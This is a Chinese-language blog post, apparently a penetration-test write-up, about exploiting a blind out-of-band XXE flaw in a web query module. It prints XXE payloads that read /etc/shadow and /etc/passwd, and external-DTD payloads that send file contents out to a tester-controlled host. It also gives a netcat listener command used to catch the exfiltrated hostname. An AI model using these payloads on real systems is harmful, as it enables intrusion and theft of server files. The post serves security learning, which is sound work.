【Web漏洞】記一次與XXE漏洞的愛恨糾纏

0x01背景:

kaiputenku大佬最近在挖洞的時候偶遇一枚XXE漏洞,身經百戰的他經過一番愛恨糾纏,終將她順利拿下~

0x02糾纏一番只爲她-Blind OOB XXE:

         在測試某系統的某查詢功能模塊如下:

  • 查詢模塊.jpg(請各位大佬自行腦補)

  • 下面即將開始kaiputenku的表演

首先使用burp抓包,發現提交xml形式的數據包,很容易想到可能存在XML外部實體注入

 嘗試構造以下payload讀取/etc/shadow文件:

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/shadow">]><root>&file;</root>

HTTP回顯報錯Permission denied,說明payload成功執行,證明確實存在XML外部實體注入,只是用戶權限不足讀取失敗

嘗試構造以下payload讀取/etc/passwd文件

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]><root>&file;</root>

發現HTTP回顯正常,但是沒有我們想要的passwd文件信息,說明是Blind XXE漏洞

Blind XXE漏洞有兩種常見的利用方式,ftp讀回顯和http讀回顯

  • 嘗試ftp讀回顯

測試主機ip爲10.xx.xx.31

1)在測試主機上開啓Web服務,並創建eval.dtd文件,內容如下

2)在測試主機上下載並運行xxe-ftp-server.rb,運行後會在2121端口開啓ftp服務,腳本下載地址:https://github.com/ONsec-Lab/scripts

3)構造如下payload併發起請求

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a[<!ENTITY % asd SYSTEM "http://10.xx.xx.31:8080/evil.dtd">%asd;%c;]><a>&rrr;</a>

發現HTTP回顯Connection refused

在測試主機Web日誌中發現目標主機已經成功下載了evil.dtd文件,但是HTTP又回顯Connection refused,猜測是ftp服務的問題

直接在瀏覽器中訪問http://10.xx.xx.31:2121/,發現連接被拒絕,這裏沒搞不明白爲什麼已經開啓了ftp服務並且正在監聽[::]:2121還是拒絕連接,換了臺測試主機出現同樣的問題,花了很長時間沒有解決,猜測是內部網絡策略的問題,遂放棄,準備嘗試HTTP讀回顯的方式。

  • 嘗試http讀回顯

測試主機ip爲10.xx.xx.31

1)在測試主機上開啓Web服務,並創建eval.dtd文件,內容如下

2)使用nc進行監聽,執行necat.exe -lvvp 8081,監聽8081端口

3)構造如下payload併發起請求

<!DOCTYPE convert[<!ENTITY % remote SYSTEM "http://10.xx.x.31:8080/evil.dtd">%remote;%int;%send;]>

發現HTTP回顯Illegal character in URL,說明該payload成功讀取到/etc/passwd文件,嘗試將/etc/passwd拼接到URL:'http://10.xx.xx.31:8081?p=%file;',但是由於passwd文件中的數據不符合URL構造要求,所以目標主機報Illegal character in URL的錯誤

所以開始嘗試讀取較爲簡單,文本信息較少的文件,比如/etc/hostname文件,裏面只是保存了主機名,應該不會有什麼特殊字符導致URL不合法

修改測試主機中的evil.dtd文件如下:

再次請求payload,發現該請求一直處於Waiting狀態

並且發現necat.exe成功監聽到目標主機的Web請求,並且在URL中讀取到/etc/hostname文件信息,目標主機名爲gp13erxxxxxxx36

0x03總結:

以上即爲測試該漏洞的全部過程,由於處於全內網環境,尋找下載工具花了較長時間,ftp拒絕連接的坑也花費了很長時間,最後還是沒有解決--.--。但是變通使用necat監聽http請求成功讀取到了目標主機的文件信息。

當然還有很多玩法,比如內網主機、端口存活掃描,DOS等,大家自己探索~

發佈了38 篇原創文章 · 獲贊 3 · 訪問量 3765
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章